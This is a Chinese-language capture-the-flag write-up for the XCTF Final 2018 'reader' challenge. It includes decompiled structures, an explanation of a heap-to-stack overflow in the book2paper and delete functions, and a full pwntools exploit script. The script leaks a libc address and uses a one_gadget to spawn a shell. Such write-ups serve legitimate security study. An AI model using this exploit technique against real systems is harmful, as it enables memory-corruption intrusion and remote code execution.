xctffinal 2018

 

xctf final 2018 wp

1. reader

程序分析

程序代码量比较大,逆起来比较费劲

主要两个结构,book和paper

00000000 paper           struc ; (sizeof=0x178, mappedto_7)
00000000 flag            dd ?
00000004 size            dd ?
00000008 content         db 256 dup(?)
00000108 title           db 32 dup(?)
00000128 description     db 80 dup(?)
00000178 paper           ends
00000178
00000000 ; ---------------------------------------------------------------------------
00000000
00000000 book            struc ; (sizeof=0x228, mappedto_6)
00000000 flag            dd ?
00000004 size            dd ?
00000008 content         db 256 dup(?)
00000108 title           db 32 dup(?)
00000128 description     db 256 dup(?)
00000228 book            ends

漏洞点在于book2paper功能,存在溢出,可以修改结构体的size段

void *__fastcall z_export(int book, int paper, int flag)
{
  signed int size; // eax
  signed int v4; // eax
  void *result; // rax
  signed int v6; // eax
  signed int len_precise; // [rsp+1Ch][rbp-14h]
  char *v8; // [rsp+20h][rbp-10h]
  char *v9; // [rsp+20h][rbp-10h]
  char *v10; // [rsp+28h][rbp-8h]
  char *v11; // [rsp+28h][rbp-8h]

  if ( flag )
    size = 0x100;
  else
    size = 0x80;
  len_precise = size;
  if ( flag == 1 )                              // book2paper
  {
    v10 = (char *)zbook_list;
    v8 = (char *)zpaper_list;
    v4 = *((_DWORD *)zbook_list + 0x8A * book + 1);
    if ( v4 > 256 )
      v4 = 256;
    *((_DWORD *)zpaper_list + 106 * paper + 1) = v4;
    memcpy(&v8[0x1A8 * paper + 8], &v10[0x228 * book + 8], 0xFFuLL);
    memcpy(&v8[0x1A8 * paper + 0x108], &v10[0x228 * book + 0x108], 0x1FuLL);
    result = memcpy(&v8[0x1A8 * paper + 0x128], &v10[0x228 * book + 0x128], len_precise);// now 100
                                                // heap overflow here

  }
  else                                          // paper to book
  {
    v11 = (char *)zpaper_list;
    v9 = (char *)zbook_list;
    if ( *((_DWORD *)zpaper_list + 106 * book + 1) > 255 )
      v6 = 256;
    else
      v6 = *((_DWORD *)zpaper_list + 138 * book + 1);
    *((_DWORD *)zbook_list + 138 * paper + 1) = v6;
    memcpy(&v9[552 * paper + 8], &v11[424 * book + 8], 0xFFuLL);
    memcpy(&v9[552 * paper + 264], &v11[424 * book + 264], 0x1FuLL);
    result = memcpy(&v9[552 * paper + 296], &v11[424 * book + 296], len_precise);
  }
  return result;
}

然后再delete时用alloca时分配栈内内存时没有考虑size,配合上面的漏洞可以覆盖返回地址

else
  {
    v1 = alloca(0x90LL);
    dest = (void *)(16 * (((unsigned __int64)&addr + 7) >> 4));
    memcpy((void *)(16 * (((unsigned __int64)&addr + 7) >> 4)), addr + 2, addr[1]);
    memset(addr + 2, 0, 0x100uLL);
    memset(addr + 74, 0, 0x80uLL);
  }

思路

在delete时会有将栈内信息打印的功能,可以leak出libc地址

addr[1] = 0;
  return puts((const char *)dest);

然后覆盖返回地址就可以getshell了

exp

from pwn import *
context.log_level = 'debug'

io = process('./main')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def p():
	gdb.attach(io)#,'b *0x00005555555556c8 ')
	raw_input()
def choice(c):
	io.recvuntil('>')
	io.sendline(str(c))
def input_raw(content):
	choice(1)
	io.recvuntil('>')
	io.sendline(content)
def write_paper(id,content,tit,des):
	choice(2)
	io.recvuntil('>')
	io.sendline(str(id))
	io.recvuntil('>')
	io.sendline(content)
	io.recvuntil('>')
	io.sendline(tit)
	io.recvuntil('>')
	io.sendline(des)
def write_book(id,content,tit,des):
	choice(3)
	io.recvuntil('>')
	io.sendline(str(id))
	io.recvuntil('>')
	io.sendline(content)
	io.recvuntil('>')
	io.sendline(tit)
	io.recvuntil('>')
	io.sendline(des)
def book2paper(book,paper):
	choice(4)
	io.recvuntil('>')
	io.sendline(str(book))
	io.recvuntil('>')
	io.sendline(str(paper))
def paper2book(book,paper):
	choice(5)
	io.recvuntil('>')
	io.sendline(str(paper))
	io.recvuntil('>')
	io.sendline(str(book))
def proof(id,idx,n):
	choice(6)
	io.recvuntil('>')
	io.sendline(str(id))
	io.recvuntil('>')
	io.sendline(str(idx))
	io.recvuntil('>')
	io.sendline(str(n))
def delete(id,idx,pi = False):
	choice(7)
	

```
io.recvuntil('>')
io.sendline(str(id))
io.recvuntil('>')
io.sendline(str(idx))
```

def show(id):
	choice(8)
	io.recvuntil('>')
	io.sendline(str(id))

def main():
	write_paper(1,'AAAA','AAAAA','AAAAA')
	write_paper(2,'BBBB','BBB','BBB')
	write_book(1, "C"*0xfe, "C"*0x1e, "C"*0x80+p32(0)+p32(0x58)+"C"*0x6e)
	book2paper(1,1)
	delete(1,2)
	io.recvuntil('C'*0x58)
	leak = u64(io.recv(6).ljust(8,'\x00'))
	log.success(hex(leak))
	#libc_base = leak - libc.symbols['_IO_new_file_underflow'] - 304
	#0x7ffff7a8b5b0 - 0x00007ffff7a11000
	#
    #0x46428	execve("/bin/sh", rsp+0x30, environ)
    #0x4647c	execve("/bin/sh", rsp+0x30, environ)
    #0xe9415	execve("/bin/sh", rsp+0x50, environ)

	libc_base = leak - 0x7a5b0
	log.success(hex(libc_base))
	one = libc_base + 0x4647c
	sys = libc_base + libc.symbols['system']
	unsorted = libc_base + libc.symbols['__malloc_hook'] + 0x10 + 0x58
	write_paper(2, "A"*0xb8+p64(one), "A"*0x1e, "A"*0x7e) 
	write_paper(2, "A"*0xa8+p64(unsorted), "A"*0x1e, "A"*0x7e) #  this is dest rw
	write_paper(2, "A"*0x98+p64(unsorted), "A"*0x1e, "A"*0x7e) # this is ptr rw
	write_book(1, "B"*0xfe, "B"*0x1e, "B"*0x80+p32(0)+p32(0xc0))
	book2paper(1, 1)#2 size now c0
	delete(1,2,pi = True)
	log.success(hex(unsorted))
	log.success(hex(one))
	io.interactive()


if __name__ == '__main__':
	main()

覆盖返回地址的时候忘记看栈变量,在delete时候会调用栈内的指针,所以需要注意一下